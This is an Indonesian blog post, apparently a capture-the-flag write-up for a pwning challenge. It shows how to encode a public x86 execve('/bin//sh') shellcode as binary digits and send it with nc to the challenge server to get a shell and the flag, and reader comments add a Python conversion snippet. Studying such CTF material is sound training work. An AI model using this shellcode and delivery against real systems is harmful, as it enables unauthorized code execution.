Thursday, February 16, 2017

AgriHack : Shellcode (Pwning)

nc ke kebon.agrihack.party 30003 disini kita di suruh memasukkan shellcode dalam bentuk biner, ok kita coba, disini saya... thumbnail 1 summary



nc ke kebon.agrihack.party 30003


disini kita di suruh memasukkan shellcode dalam bentuk biner, ok kita coba, disini saya menggunakan shell code dari shell-strom.org , petunjuk di soal data yang di kirim harus dalam bentuk biner, yaudah payload dari shellcode di atas kita ubah dulu dari hexa base16 ke biner,

payload = \x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

biner= 001100011100100111110111111000010101000101101000001011110010111101110011011010000110100000101111011000100110100101101110100010011110001110110000000010111100110110000000
hasil disasmble payload menggunakan library dari pwntools :



kita coba aja dulu kirim payload ke program yang jalan,..

$ (python -c "print '001100011100100111110111111000010101000101101000001011110010111101110011011010000110100000101111011000100110100101101110100010011110001110110000000010111100110110000000'";cat -) | nc kebon.agrihack.party 30002

\\m// yeay..
flag : AGRI{shellcode_itu_keren_tapi_gw_gak_ngerti}

5 comments

  1. cara konvert payload = \x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80 ke binary gimana kak.?

    ReplyDelete
    Replies

    1. from binascii import hexlify, unhexlify

      payload = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\x$

      payload_bin = bin(int(hexlify(payload),16))[2:]

      print payload_bin

      Delete
  2. min, nyimpen semua soal soal AGRIHACK2017 kmaren? kalo boleh minta dong.
    kaya soal soal basic, forensic, reverse, sama crypto yg ada filenya

    ReplyDelete